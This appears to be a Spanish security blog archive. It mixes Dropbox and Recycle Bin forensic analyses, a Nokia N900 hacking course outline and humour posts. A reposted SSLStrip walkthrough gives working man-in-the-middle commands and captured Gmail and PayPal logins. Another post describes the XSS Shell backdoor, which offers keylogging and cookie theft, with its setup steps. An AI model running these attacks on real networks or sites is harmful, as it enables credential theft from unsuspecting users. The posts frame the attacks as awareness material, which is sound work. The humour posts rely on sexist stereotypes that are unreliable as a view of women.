En cuanto a nuestro Análisis forense nos encontramos con las siguientes evidencias centrandome en el fichero 'config.db' y que particularmente he exportado a Excel para su mayor manejo y comprensión del contenido de los campos (y destaco los que me parecen significativos en color rojo)

host_id: 1afd404a46c53dac85bc296bc60e9bdc

Es el identificador de Carlos en la nube de DropBox

email: carlos.pXX(borrado intencionadamente y poco más que decir que es una cuenta de correo en la que claramente identifica que ha utilizado una cuenta personal)

recently_changed3:

tlp1 (V34923386:/DATOS_CLIENTES/clientes.xls I00 tp2 a(V34923386:/DATOS_CLIENTES/FORMULARIO_SERVICIOS.doc I00
tp3 a(V34923386:/DATOS_CLIENTES/shareddir.dat Ntp4 a(V34923386:/DATOS_CLIENTES/known2.met
Ntp5 a(V34923386:/DATOS_CLIENTES/known.met Ntp6 a.

Este campo es interesante dado que muestra la ruta y nombre de archivo para los cinco ultimos ficheros que han cambiado recientemente. La mayoría de los archivos que aquí aparecen incluyen los archivos eliminados o borrados de la lista desplegable. El contenido para este registro se basa en texto y es coherente con el siguiente formato:

El texto comienza con "tp1", termina con "a"., el siguiente tp2 y así sucesivamente
Las entradas están en orden de más reciente a menos reciente y cada entrada es el nombre del archivo / ruta seguida por "I00".

Si el archivo se ha eliminado o borrado de la Dropbox, el "I00" el texto se elimina y una "N" se coloca en delante del texto "TP #"

Por lo tanto en esta entrada tenemos como minimo una lista de ficheros (tras consultarlo con la empresa, nos asegurán que los nombres coinciden con los que ellos disponen actualmente), los ficheros (entre otros) se llaman, clientes.xls y formulario_servicios.docx

También el fichero 'filecache.db' contiene información interesante:

Y ahora vamos a ver que ficheros son los que tiene sincronizados el DropBox o como mínimo los que la empresa ha identificado, para ello vamos a ver la tabla 'file_journal'

En ella vemos los id's: 158, 159 y 160 que contienen la ruta y el nombre de los ficheros. Evidentemente coinciden con los ficheros anteriores.

Para corroborar lo visto falta que nos traigan el móvil de Carlos, al cual en su momento pertinente procederé a realizar un análisis para disponer en el mejor de los casos de dos evidencias, siempre y cuando tenga montado en su dispositivo DropBox.

Conclusiones:

Una vez realizado el análisis del disco duro del portátil, se extrae que Carlos en un periodo entre un mes antes de su marcha a la competencia y dadas la evidencias siguientes se ve que estuvo trabajando con datos confidenciales a los que tenía acceso. Las evidencias (entre otras) mostradas en el informe fueron las siguientes:

En el disco duro no existen los ficheros propiedad de la empresa.
No existe actividad de inserción de dispositivos externos.
Aparecen referencias de accesos directos en documentos recientes.
En el fichero de paginación aparecen contenidos de estos ficheros (es decir se abrieron).
Se evidencia accesos del histórico de URL' de Firefox s a DropBox.
Se encuentra DropBox instalado y funcionando, se verifica la existencia de estos ficheros dentro de la bd.
Se recuperan ficheros borrados que coinciden con los que son propiedad de la empresa y se comprueba que la fecha de ultimo acceso es de cinco días antes de su marcha.

Ahora el caso está pendiente de la Justicia.

Quisiera comentar que según Derek y tal y como he leído en los foros de DropBox, parece ser que la autenticidad del usuario de una cuenta de este servicio es vulnerable con tan solo copiar el fichero 'config.db' a otro directorio base de DropBox que pertenezca a otro usuario, pudiendo suplantar y acceder a los datos de este. (Esto no lo he corroborado y se pasa del mero trabajo realizado sobre este portátil). Aunque si alguien ha accedido a tu máquina y es capaz de copiar el fichero de marras, quizás lo que menos te preocupes es que se lleven este fichero, dado que se han podido llevar TODO.

Hablando de este y otros temas con mi buen amigo Yago Jesús de Security By Default, coincidimos en que sería tan simple como cifrar el contenedor de DropBox, cosa que Yago os explicará en breves en Security By Default. No os lo perdáis.

Referencias:

http://dereknewton.com/2011/04/dropbox-authentication-static-host-ids/
http://www.reversecurity.com/2011/04/video-demonstration-of-dropbox.html
http://forums.dropbox.com/topic.php?id=37231

AGRADECIMIENTOS TOTALES A:

http://conexioninversa.blogspot.com/

La Papelera de reciclaje en Windows Vista/7

2011-06-04T20:47:00.000-07:00

Las hay más llenas o más vacías, conteniendo cosas banales o secretos de estado, pero lo que todos los sistemas Windows tienen en común al respecto, es que todos tienen una. En esta ocasión hablaré de Windows Vista y 7, porque de los anteriores ya se sabe bastante.

Lo primero es lo primero y el mérito en este caso corresponde a Mitchell Machor, autor del primer análisis en su documento "The Forensic Analysis of the Microsoft Windows Vista Recycle Bin". Yo sólo comento en castellano y propongo una herramienta.

Todos sabemos que cuando eliminamos una carpeta o archivo, y siempre que no mantengamos pulsado el botón de las mayúsculas, ésta o éste se almacenará temporalmente en la Papelera de reciclaje. Lo de temporalmente en ocasiones no es más que un eufemismo ya que la mayoría de las costumbres reales solemos transferirlas voluntaria o involuntariamente al mundo digital, y no son pocas aquellas que amenazan con desbordarse. ¿Pero cómo se organiza internamente este elemento tan particular?

En las últimas versiones de Windows, entiéndase Vista/7, existe un directorio oculto en cada unidad con nombre $Recycle.Bin. Sin embargo me temo que al final todos ellos apuntan al mismo lugar siendo éste su homónimo en la unidad del sistema:

%SystemDrive%\$Recycle.Bin

utilizando las variables de entorno. Si además tenemos en cuenta que Windows es un sistema multiusuario no será fácil deducir que existirá una Papelera por usuario. Veamos un ejemplo de como se gestiona esta característica en un sistema Windows 7 con dos usuarios:

C:\>dir /A:H C:\$Recycle.Bin
 El volumen de la unidad C no tiene etiqueta.
 El número de serie del volumen es: 9C87-DB2F
 
 Directorio de C:\$Recycle.Bin
 
15/02/2010  20:07              .
15/02/2010  20:07              ..
15/02/2010  20:02              S-1-5-21-1730169009-2451939862-3791123446-1001
15/02/2010  20:14              S-1-5-21-1730169009-2451939862-3791123446-1003
               0 archivos              0 bytes
               4 dirs  14.153.822.208 bytes libres

Simple y elegante, se crea un subdirectorio utilizando para ello el SID de la cuenta correspondiente y ya se encarga el Explorador de Windows de enlazarlo adecuadamente desde la sesión del usuario. Por si hay algún despistado, más sobre SIDs en Microsoft, la Wikipedia y como no, Wadalbertia.

El valor de tiempo asociado al subdirectorio puede servir para acotar la fecha y hora de la primera sesión del usuario en el sistema, siempre que éste haya eliminado algún elemento desde dicha sesión y no haya manipulado este valor. Como suele pasar con la mayor parte de las cosas, nada es del todo seguro.

Identificado el mecanismo interno de gestión utilizado por Windows para las papeleras de los usuarios resta saber como se aclara con los diferentes elementos que almacena. Ahora, para un sistema Vista, veamos el contenido de la papelera del usuario:

C:\>dir C:\$Recycle.Bin\S-1-5-21-1435829524-487146864-2118318027-1000
 El volumen de la unidad C es SYSTEM
 El número de serie del volumen es: B00D-25C9
 
 Directorio de C:\$Recycle.Bin\S-1-5-21-1435829524-487146864-2118318027-1000
 
21/02/2010  22:28               544 $I3UT5T8
21/02/2010  22:28               544 $IN3DQ7V.exe
21/02/2010  22:27               544 $ISW6AHM
21/02/2010  22:27              $R3UT5T8
24/06/2009  22:18           454.656 $RN3DQ7V.exe
21/02/2010  22:27              $RSW6AHM
               4 archivos        456.288 bytes
               2 dirs  19.253.620.736 bytes libres

Del listado anterior podemos obtener parejas de elementos con nombres similares si obviamos los 2 primeros carácteres. Así tendríamos:

$I3UT5T8    $IN3DQ7V.exe    $ISW6AHM
$R3UT5T8    $RN3DQ7V.exe    $RSW6AHM

que el Explorador de Windows interpretará como:

Pues resulta que los ficheros encargados de almacenar la información asociada a cada uno de los elementos eliminados son aquellos que empiezan por $I, y los elementos eliminados serían los que empiezan por $R. El formato interno de los ficheros de información:

8 bytes para la cabecera de fichero que siempre es 01 00 00 00 00 00 00 00.
8 bytes para el tamaño del fichero/carpeta asociado, en formato litle endian.
8 bytes para la fecha y hora de eliminación del fichero/carpeta, en formato litle endian y que se corresponde con el número de segundos transcurridos desde la medianoche del 1 de Enero de 1601 (windows filetime).
El resto de bytes, 520 hasta completar los 544 que ocupa cada fichero/carpeta, se utiliza para almacenar la ruta que ocupaba originalmente el elemento antes de ser eliminado. Los carácteres que forman la ruta aparecen separados por un byte nulo (00) que también se utiliza para completar el espacio asignado.

Por lo que he podido experimentar no aparece ningún dato dentro del fichero de información que permita identificar si el elemento eliminado es un arhivo o una carpeta, y en el caso de que sea ésto último la modificación del nombre original únicamente afecta al elemento superior:

C:\>dir C:\$Recycle.Bin\S-1-5-21-1435829524-487146864-2118318027-1000\$R3UT5T8
 El volumen de la unidad C es SYSTEM
 El número de serie del volumen es: B00D-25C9
 
 Directorio de C:\$Recycle.Bin\S-1-5-21-1435829524-487146864-2118318027-1000\$R3UT5T8
 
21/02/2010  22:27              .
21/02/2010  22:27              ..
21/02/2010  22:27              wadalbertia
21/02/2010  22:27              web
               0 archivos              0 bytes
               4 dirs  19.251.822.592 bytes libres

Ahora sabiendo todo lo anterior, y como sigo aprendiendo python, vamos a ver como funciona el script:

C:\>intrash.py -h
Usage: intrash.py [options] path
 
Script that gets information about the contents of a recycle bin from a
Windows Vista/7 system
 
Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -f OUTFORMAT, --format=OUTFORMAT
                        format of the output: normal or csv [defaults: normal]
  -o OUTFILE, --output=OUTFILE
                        write output to OUTFILE instead of stdout
  -e OUTENCODING, --output-encoding=OUTENCODING
                        define output encoding [defaults: utf-8]

Tal como indica la ayuda del comando por defecto la salida se vuelca en la consola utilizando utf8, por lo que los carácteres especiales como la ñ y las vocales con acentos aparecerán como caracteres extraños. Para evitar este problema primero obtendremos el encoding utilizado por defecto y posteriormente lo indicaremos en la invocación del comando:

C:\>chcp
Página de códigos activa: 850
 
C:\>intrash.py -e cp850 C:\$Recycle.Bin
 
 
    S-1-5-21-1435829524-487146864-2118318027-1000
 
 
        Trash file: $R3UT5T8
        Path: C:\Users\javi\Desktop\diseñoweb
        Size: 1278246 bytes
        Deleted at: Sun Feb 21 21:28:01 2010 UTC
 
 
        Trash file: $RN3DQ7V.exe
        Path: C:\Users\javi\Desktop\putty.exe
        Size: 454656 bytes
        Deleted at: Sun Feb 21 21:28:21 2010 UTC
 
 
        Trash file: $RSW6AHM
        Path: C:\Users\javi\Desktop\Nueva carpeta
        Size: 0 bytes
        Deleted at: Sun Feb 21 21:27:43 2010 UTC

Ahora si queremos almacenar la salida en un fichero determinado y en formato csv de forma que podamos analizarla facilmente por ejemplo con excel:

C:\>intrash.py -e iso-8859-1 -f csv -o recyclebin.csv C:\$Recycle.Bin
 
C:\>dir recyclebin.csv
 El volumen de la unidad C es SYSTEM
 El número de serie del volumen es: B00D-25C9
 
 Directorio de C:\
 
21/02/2010  23:24               458 recyclebin.csv
               1 archivos            458 bytes
               0 dirs  19.251.257.344 bytes libres

Para facilitar el uso de la herramienta sin tener que obligar a nadie a instalar un intérprete de python he generado los binarios adecuados mediante py2exe. Para utilizar el programa bastará con desempaquetar el fichero zip y almacenar todo su contenido en un mismo directorio, invocándolo desde allí. En el caso de que se muestre un error relacionado con la librería MSVCR90.dll deberá instalarse el paquete "Microsoft Visual C++ 2008 Redistributable Package".

El script está desarrollado de forma que también pueda utilizarse sin problemas desde linux, y como no, he tirado de la inestimable ayuda de mi profesor particular, mi amigo y compañero hilario.

Código, scripts y ejecutable: intrash.zip

En breve más, y mejor, espero.

Agradecimientos a :

http://neosysforensics.blogspot.com/2010/02/la-papelera-de-reciclaje-en-windows.html

Traduccion de documentos word en ingles(otros) a otros idiomas.

2011-05-27T18:19:00.000-07:00

Buenas noches.

Tiempo sin escribir pero les aseguro que valdra la espera.

Hoy tenia que traducir un documento para una bibliografia que estoy usando el documento era un pdf de 800 hojas totalmente en ingles, obviamente el ingles tecnico es facil de manejar pero con tanto contenido se vuelve tediosa la lectura del mismo asi que recurri a los buscadores a como traducir un documento, si bien , ya sabemos que actualmente todos los servicios, programas y demas estan siendo enfatizados al funcionamiento en la web siendo mas portables y funcional el uso del mismo.

Acabo de encontrar un software virtual excelente para realizar la traducción antes de postearlo en el blog realize las pruebas correspondientes dando como resultado una traduccion total del libro y sin perder el formato ni las imagenes que este contenia.

OnlineDocTranslator es el programa a cual va dirigido el post , es un traductor online que permite traducir textos de documentos en formatos word, excel, powerpoint y txt. conservando el formato de cada uno.

Solo consta con elegir el tipo de archivo, subirlo el detectara el idioma original despues de esto elegimos el idioma resultante, este software usa la API del traductor de Google asi que no esperen una traduccion completamente entendible.

Pueden entrar al software online con el primer link de las fuentes que cito a continuación, el ultimo link muestra una forma de como hacerlo directamente desde word sin utilizar programas alternos.

Espero que les sirva.

Saludos roboticos.

Fuentes:

http://onlinedoctranslator.com/translator.html
http://www.chicageek.com/traduce-documentos-word-54315
http://www.maestrodelacomputacion.net/doc-translator-traductor-online-de-documentos/

Modulo 1- Intruduccion a Maemo 5

2011-01-27T19:50:00.000-08:00

Buenas noches.

Hoy empezaremos nuestro mini-curso de como tener una herramienta de hacking en nuestro bolsillo.
Como es debido empezaremos con una breve historia de maemo y terminare con las herramientas mas importantes existentes hasta el momento las cuales usaremos en el transcurso de los modulos.

INTRODUCCION

QUE ES MAEMO?

Es una plataforma móvil basada en Debian, Gnome Mobile y Hildon Framweork, en conclusion Maemo es un sistema operativo ,como symbian y Android solo que symbian es privativo.
Al igual que un sistema operativo, Maemo permite la instalación de programas como: Navegadores(firefox, opera), Office(koffice, office para maemo), editores de fotografía, correo electrónico, reproductores de video(casi todos los codecs populares incluyendo rmvb), entre otros.

Es posible afirmar que el encargado de hacerlo popular ha sido el movil Nokia N900, el cual tiene este sistema operativo por defecto, es inequivoco llamar al Nokia N900 movil ya que novia lo ofrece como una solucion internet tablet.

Bueno despues de tanta teoria que ustedes pueden profundizar en los diferentes enlaces que les dejo en la bibliografia de maemo 5.

Antes de comenzar en forma me gustaria nombre algunos temas interezantes que les puede servir cuando tengan este celular:

1. Realizar Overclocking N900 --Con este aumentamos la velocidad del procesador, recomendable a 1 Ghz para uso de metasploit, air-crack y emulador de play.
2. Flashear Nokia N900 -- Hacemos reset al telefono.
3. Reparticionar La EMMC
4. Agregar Repositorios extras y testing
4. Kernel para modo promiscuo- es igual al de overclocking

Estos son temas muy importantes que deben tener en cuenta , tambien recomiendo visitar la guia rapida que se encuentra en el ultimo enlace de la bibliografia.

QUE VAMOS HACER?

En el transcurso del curso vamos a usar herramientas de Hacking y Seguridad en nuestro nokia n900 para convertirlo en nuestra "Herramienta de juacking de bolsillo"

Despues de instalar los repositorio extras y testing vamos a buscar nuestros programas favoritos, los que pueden instalar facilmente de los repositorios son:

Wireshark
Netcat
Nmap
Tor
Mac-change
Aircrack- Los modulos para injeccion se instalan aparte.
Amsn - para entretenernos xD
Links
Wget
Wifi-eye
Easy-Debian.
Ettercap- Paquete precompilado
Metasploit-Paquete para linux y debe instalar ruby entre otros.
W3af

Ya despues de instalar Easy-debian entramos ya sea por chroot o por entorno grafico e instalamos:

tcpdump
dsniff
weplab
tshark
wwwstat
nessus
metasploit
cryptcat
socat

Si contamos con una memoria micro sd recomiendo instalar NeoPwn "Backtrack Mobile" el cual tiene muchos programas ya configurados, la lista la puede encontrar en el primer link de la bibliografia.

Ya despues de instalar todo lo anterior, estamos listos para realizar nuestras pruebas de seguridad.

TIPS RAPIDOS:

-Sistemas operativos que se pueden instalar

- Debian, fedora, arch y ubuntu con escritorio LXDE
- Meego, muchos dicen que es el reemplazo de maemo
-Android, de google
-Windows 98 y nt virtualizados

-Emuladores mas conocidos:
-Nintendo 64
-Play station 1
-Game boy advanc y color
-Nintendo ds
-Super nintendo

NOTAS:
No sabria que diferencia tiene como herramienta de juacking a el iphone pero si alguien quiere ir comparando seria muy bueno.

BIBLIOGRAFIA

http://www.neopwn.com/software.php
http://linuxmovil.blogspot.com/2007/12/qu-es-maemo.html
http://maemo.org/
http://maemo.nokia.com/
http://todomaemo.com/%C2%BFque-es-maemo-y-para-que-sirve/
http://www.xataka.com/moviles/maemo-6-nos-muestra-el-futuro-de-los-terminales-de-nokia
http://wiki.maemo.org/Easy_Debian
http://www.neopwn.com/software.php
http://www.maemoria.com/?p=7
http://www.phonesfera.com/
http://mundo-n900.blogspot.com/p/guia-rapida.html

Cronograma 2011 enero-febrero

2011-01-21T19:35:00.000-08:00

Buenas noches.

El siquiente sera el cronograma que trabajare estos dos meses para actualizar un poco el blog y tratar una tematica diferente.

La idea de estos dos meses es trabajar sobre maemo 5 mas especificamente sobre nokia n900.

Temas:

Modulo 1- Intruduccion a Maemo 5
Modulo 2- Inseguridad en redes Lan
Modulo 3- Inseguridad Web
Modulo 4- Inseguridad redes inalambricas
Modulo 5- Cracking
Modulo 6- Criptografia basica
Modulo 7- Servicios Seguros
Modulo 8- Criptografia avanzada
Modulo 9- Forense
Modulo 10- Planteamientos futuros.

Estos modulos los trabajere desde el movil y si tienes uno igual puedes seguir paso a paso lo que hiremos trabajando. No sabria si en iphone funciona igual pero seria posible intentarlo.

El modulo 1 lo empezare esta semana.

NOTA:

Modulos alternativos:

Modulo Programación --ruby, python, java , php y mysql

Modulo Inge inversa

Saludos roboticos

Feliz navidad año 2011

2010-12-29T20:13:00.000-08:00

Hola.

Parece ayer cuando estábamos despidiendo el año 2009 y esperando el nuevo 2010 donde se estipularon algunas de las cosas que iba hacer en este año, lastimosamente las labores diarias no me dejaron el tiempo suficiente para dedicarme al blog.

Espero que este nuevo año me deje el tiempo que deseo para seguir con el proyecto, actualizarlo en los temas de seguridad, forense y demás información de sistemas que nos pueda interesar.

Este nuevo año la temática del blog ira mas enfatizada en análisis forense sobre entornos windows, también auditoria sobre ellos.

Por la parte de seguridad la realizare desde un celular n900 donde tendré bactrack mobil instalado para realizar las pruebas.

Solo me queda decirles feliz año a las personas que aun lean el blog y sobre todo que se cumplan todas sus metas.

Saludos roboticos

GnackTrack

2010-12-29T19:57:00.000-08:00

Buenas noches.

Para las personas que no conozcan esta distribución de linux, esta se puede decir que es la versión backtrack pero con escritorio gnome

Muchos tenemos ese sabor maluco de trabajar con kde, cabe anotar que la velocidad que ofrece es muy buena y sobre todo la funcionalidad pero muchos estamos acostumbrados a trabajar sobre gnome casi tiempo total y aunque los pentest no son diarios seria bueno tener nuestras herramientas del día a día junto con nuestras herramientas para auditoria.

Así encontré esta distribución que planeo sacarle todo el provecho sacando un esquema de funcionalidad con respecto a backtrack.

Les dejo la pagina oficial del proyecto para que lo visiten.

Página oficial:

http://www.gnacktrack.co.uk/index.php

Descargas:

-Imagen ISO:
http://www.gnacktrack.co.uk/downloads/GnackTrackR4.iso

-Imagen para VMWare:
http://www.gnacktrack.co.uk/downloads/GnackTrackR4.7z

PD: gracias pablo por avisarn y visitar el blog

Noticias sobre el avance de la academia virtual

2010-12-27T17:51:00.001-08:00

Buenas noches.

Después de mucho tiempo ausente y el cierre por parte de los proveedores del hosting a latinohack, es tiempo de dar una vuelta y empezar de nuevo.

La academia es un hecho, lo que no se sabe es la fecha de lanzamiento en todo caso en enero del 2011 estaremos en la apertura para que no os perdáis este evento.

Los cursos seran los mismos , las temáticas cambiaran un poco siempre buscando la mejor calidad educativa.

Saludos a todos y espero seguir copiando.

Academia Vritual LH De nuevo Online

2010-10-18T15:20:00.000-07:00

Buenas Tardes.

Asi como el titulo lo dice, la Academia Virtual de LatinoHack se abre de nuevo al publico dando comienzo al curso de Ethical Hacker totalmente gratis.

Esperamos no tener mas inconvenientes tenicos y seguir adelante con el proyecto.

http://labs.latinohack.com/

Saludos Roboticos

los mandamientos del ingeniero

2010-10-13T19:58:00.000-07:00

Cortesia del Compañero Nikolas :D.

---------------------------------------------------------------------------------------------------------

1. No tendrás vida personal, familiar o sentimental

2. No verás a tu hijo crecer.

3. No tendrás días feriados, fines de semana o cualquier otro tipo de días de descanso.

4. Tendrás gastritis, si tienes suerte. Normalmente, tendrás úlcera.

5. La prisa será tu único amigo y tus refecciones principales serán los sándwich, las pizzas y el china in a box.

6. Tus cabellos se volverán blancos antes de tiempo, si te sobran cabellos.

7. Tu salud mental será puesta en jaque antes que completes 5 años de trabajo.

8. Dormir será considerado período de descanso, luego, no dormirás bien, nunca.

9. Trabajo será tu asunto preferido, tal vez el único.

10. Las personas serán divididas en 2 tipos: las que entienden de Ingeniería y las que no entienden. Y verás gracia en eso.

11. La máquina de café será tu mejor colega de trabajo, pero, la cafeína no te hará más efecto.

12. Happy Hours serán excelentes oportunidades de tener algún tipo de contacto con otras personas locas como tú.

13. Tendrás sueños con cálculos, proveedores o clientes, y no raro, resolverás problemas de trabajo en este período de sueño.

14. Exhibirás ojeras como trofeo de guerra.

Fuente:
http://sitodofuerabueno.wordpress.com/2009/02/16/los-mandamientos-del-ingeniero/

Por qué algunos hombres prefieren perros y no esposas

2010-10-13T09:34:00.000-07:00

	1. Mientras más tarde llegues, más se emociona el perro al verte.



	2. Los perros no se dan cuenta si los llamas por otro nombre



	3. A los perros les gusta que dejes muchas cosas tiradas en el piso.



	4. Los padres del perro nunca te visitan.



	5. Los perros están de acuerdo en que debes levantar la voz para dejar en claro tu punto de vista.



	6. Nunca tienes que esperar por el perro, ellos están listos las 24 horas del día.



	7. Los perros encuentran divertido cuando tu llegas ebrio..



	8. A los perros les gusta ir de cacería o de pesca.



	9. Un perro nuca te despierta en la noche para preguntarte, "Si yo muero conseguirías otro perro?"




	10. Si un perro tiene bebés los puedes anunciar en el periódico y regalarlos.



	11. Un perro te deja ponerle un collar con picos sin que te diga pervertido.



	12. Si un perro detecta el olor de otro perro en tí no se enoja, sólo piensa que es interesante.



	13. A los perros les encanta viajar en la parte de atrás de una pickup.



*Y por último pero ciertamente no menos importante:*


	14. Si el perro te deja, no se lleva la mitad de tus cosas.

Test Final: Encierra a tu esposa y a tu perro en la cajuela de tu coche por una hora. Después abre la cajuela y observa quién está más feliz de verte.

Desmitificando la seguridad de HTTPS con SSLStrip

2010-09-28T21:17:00.000-07:00

Este es un buen post que vi en la red de dragon hecho por seidfreed.

----------------------------------------------------------------------------------------------------
Hola!
Muy buenas a todos/as!
Utilizamos hoy en día Internet para muchas cosas, mirar nuestro correo, mantenernos comunicados con la gente, conexiones a bancos etc…
Nadie nos ha enseñado a navegar de manera segura pero conocemos conceptos como:

Siempre que vayas a poner datos de carácter personal que la conexión sea segura que ponga HTTPS.
Que nos fijemos en la imagen del candadito

Algo así como esto:

HTTPS no es tan seguro como nos creemos, tiene debilidades, haremos una prueba de concepto.
El diagrama de red sería el siguiente

Este es el escenario planteado.
Suponemos que conocemos la IP del atacante.
Habilitamos el Forwanding en la máquina atacante

root@bt:~# echo “1″ > /proc/sys/net/ipv4/ip_forward

Ahora mediante ARPSPOOF haremos un ataque man in the middle

root@bt:~# arpspoof -i eth0 -t 192.168.78.137 192.168.78.2

Veremos como se hace el ataque de man in the middle

0:c:29:72:9a:32 0:c:29:e4:a8:97 0806 42: arp reply 192.168.78.2 is-at 0:c:29:72:9a:32

Primero hemos de poner la IP de la máquina a la que atacamos y después la IP del router
Ahora mediante IPTABLES hacemos la redirección de puertos

root@bt:~# iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000

Ahora activamos SSLSTRIP

root@bt:~# sslstrip -w passwords
sslstrip 0.6 by Moxie Marlinspike running…

Escribiremos todos lo que recojamos de SSLSTRIP en un fichero llamado passwords
Ahora mediante TAIL iremos viendo lo que sale por pantalla

root@bt:~# tail -f passwords

Ahora cuando la máquina atacante acceda a su correo, a GMAIL por ejemplo
Veremos como nos saca el password en texto plano

2010-07-24 00:36:26,739 SECURE POST Data (www.google.com):
ltmpl=default&ltmplcache=2&continue=http%3A%2F%2Fm ail.google.com%2Fmail%2F%3F&service=mail&rm=false& dsh=6669774865561864179&ltmpl=default&ltmpl=defaul t&scc=1&timeStmp=&secTok=&GALX=dPSLG5jykg8&Email=mriverolopez&Passwd=CONTRASEÑA&rmShown=1&signIn=Acceder&asts=

Y ahí tenemos la dirección de email y la contraseña, este caso lo hemos echo con gmail, probemos por ejemplo con…paypal

2010-07-24 01:47:25,907 SECURE POST Data (www.paypal.com):
login_cmd=&login_params=&login_email=Seifreed&login_password=CONTRASEÑA&target_page=0&submit.x=

Ya hemos visto lo sencillo que es capturar los datos de acceso aunque la conexión sea por HTTPS.
La pregunta es.. ¿ Como saber si estamos sufriendo un man in the middle ?
Una de las maneras sería haciendo un tracert

Como véis primero nos saldría la máquina que no está haciendo el man in the middle y luego nuestro router.
Así que tened cuidadín, desde que ubicaciones accedéis a vuestros datos privados.
Un saludo __________________
Mi web:
http://www.seifreed.wordpress.com

Asociación cultural y tecnológica
http://www.badiatech.org

Cursos de informática
aula.badiatech.org

Wikipedia asociación
wiki.badiatech.org

FUENTE:http://comunidad.dragonjar.org/f184/desmitificando-la-seguridad-de-https-con-sslstrip-10325/

Cosas para Tener En Cuenta (Manual para entender a las mujers y hombres)

2010-09-28T21:13:00.000-07:00

MANUAL PRACTICO PARA ENTENDER EL ESPAÑOL DE LAS...!MUJERES!!!!!

NO = Sí.

SI = No.

TAL VEZ = No

LO SIENTO, PERO... = Lo volveré a hacer igual

DECIDE TU = Pero haz lo que digo yo.

ERES LIBRE DE HACER LO QUE QUIERAS = Ni se te ocurra hacerlo.

HAZ LO QUE QUIERAS = Pero lo pagarás caro.

NO, NO ESTOY ENOJADA = Por supuesto que estoy enojada......., IMBECIL!!

TE ESTAS DURMIENDO? = No te duermas!!.

ESTA NOCHE ESTAS MUY CARIÑOSO = No tengo ganas de hacer el amor.

ESTOY GORDA (FLACA)? = Dime que estoy Buenísima.

APAGA LA LUZ = Tengo Celulitis

QUIERO CAMBIAR ESTAS CORTINITAS = y las alfombras...y la pintura...y los muebles...

ES QUE ESTA COCINA ES TAN CHIQUITA = Quiero una casa nueva.

ME AMAS? = Te voy a pedir algo.

QUE TANTO ME AMAS? = y cuesta mucho dinero

NECESITARIAMOS = Yo Quiero.

TENEMOS QUE HABLAR = Necesito quejarme de algo.

CREO QUE NO NOS COMUNICAMOS LO SUFICIENTE = Tienes que estar de acuerdo conmigo

-----------------------------------------------------------------------------------------------------------------------------------

MANUAL PRACTICO PARA ENTENDER EL ESPAÑOL DE LOS...!HOMBRES!

TENGO HAMBRE = Tengo hambre

TENGO SUEÑO = Tengo sueño

ESTOY CANSADO = estoy cansado

HABLEMOS = Estoy tratando de impresionarte, para que pienses que soy un hombre profundo y accedas a tener sexo conmigo

PARECES TENSA, TE DOY UN MASAJE? = Primero te meto mano, después quiero sexo contigo.

ME CONCEDES ESTA PIEZA? = Quiero sexo contigo

TE GUSTARIA IR AL CINE CONMIGO = Quiero sexo contigo

QUIERES CENAR CONMIGO HOY EN LA NOCHE = Quiero sexo contigo

TE PUEDO LLAMAR EL VIERNES? = Quiero sexo contigo

TE QUIERES CASAR CONMIGO = Quiero que sea ilegal para tí acostarte con otro hombre que no sea yo.

(DE COMPRAS) SI, TE QUEDA BONITO, QUE BONITO ESE VESTIDO = Agárralo de una vez y vámonos de esta friega.

SI, TE QUEDA BIEN = Qué buena estás!!.

EL NUEVO CORTE = te quedaba mejor el anterior.

SI, TE QUEDA BIEN EL NUEVO CORTE = $30.000 pa' la basura!!.

PERO CUAL ES EL PROBLEMA? = No entiendo la tragedia.

QUE TE PASA? = Cuál trauma psicológico auto-inventado te afecta hoy

ESTAS BRAVA? = me imagino que esta noche, nada de sexo.

ESTOY ABURRIDO = Tenemos sexo?.

TE AMO = Necesito sexo YA!!.

YO TAMBIEN TE AMO =OK, Estás contenta?.Podemos comenzar con el sexo? En realidad los manuales son 100% practicos como lo pueden ver , se garantiza un 99.9999% de que lo aqui contenido es real. Fuente: http://www.taringa.net/posts/humor/7220699/Cosas-para-Tener-En-Cuenta-_D-No-Te-La-Creas_-xD.html

Xss Shell[Explicacion+Video+Descarga]

2010-09-21T06:46:00.000-07:00

Este articulo tambien lo encontre via disodelared en el blog de Overflow , me parese buen tema asi que lo comparto.

------------------------------------------------------------------------------------------------------------------

Esto es una traduccion de google.
Fuente:darknet.org.uk

XSS Shell es una puerta trasera XSS gran alcance que permite obtener de forma interactiva el control de un cross-site scripting (XSS) en una aplicación web. Demuestra el poder real y el daño de los ataques de cross-site scripting.

¿QUE ES LA SHELL XSS?

XSS Shell es de gran alcance una puerta trasera XSS y gerente zombi. Este concepto presentado por XSS-proxy (http://xss-proxy.sourceforge.net/). Normalmente, en ataques XSS atacante tiene una oportunidad, en forma interactiva XSS Shell puede enviar peticiones y obtener respuestas de la víctima, puede puerta trasera de la página.

Puedes robar autenticación básica, usted puede saltarse restricciones de la propiedad intelectual en los paneles de administración, puede DDoS algunos sistemas con una permanente vulnerabilidad XSS etc posibilidades de ataque son limitados con las ideas. Básicamente esta herramienta demuestra que se puede hacer más con XSS.

CARACTERISTICAS

XSS Shell tiene varias características para tener acceso a toda víctima. También puede simplemente añadir sus propios comandos.

La mayoría de las características se pueden habilitar o deshabilitar desde la configuración o puede ser ajustado desde el código fuente.

Características:

* Páginas de regeneración
* Keylogger
* Mouse Logger (puntos clic actual DOM)

Incorporado en los mandos:

* Obtener datos Keylogger
* Obtener la página actual (actual prestados DOM / captura de pantalla como)
* Obtener Cookie
* Ejecutar JavaScript suministrado (eval)
* Obtener Portapapeles (sólo para IE)
* Obtener dirección IP interna (JVM sólo Firefox)
* Revise las víctimas visitaron historial de URL
* DDoS
* Fuerza al navegador de la víctima de Crash

Instalacion
-
XSS Shell utiliza ASP + base de datos MS Access como backend, pero puedes simplemente puerto en cualquier otra solución de servidor. Sólo tiene que seguir con el protocolo de comunicación simple.

Instalar la interfaz de administración;

1. Copiar "xssshell" carpeta en su servidor web
2. Copiar "db" a un lugar seguro (por debajo de la raíz)
3. Configurar "ruta de acceso base de datos" de "xssshell / db.asp"
4. Modificar fuertemente codificados contraseña en db.asp [contraseña por defecto es:] w00t
5. Ahora usted puede tener acceso a la interfaz de administración de algo como http:// [YOURHOST] / xssshell /

Configurar XSS Shell para la comunicación;
1. Abrir xssshell.asp
2. Set "SERVER" variable a la carpeta donde se encuentra XSSShell. i.e: "http:// [YOURHOST] / xssshell /";
3. Asegúrese de revisar "ME", "Conexión", "COMMANDS_URL" variables. Si ha cambiado los nombres de archivo, nombres de carpetas o algún tipo de configuración diferente que necesita modificarlos.

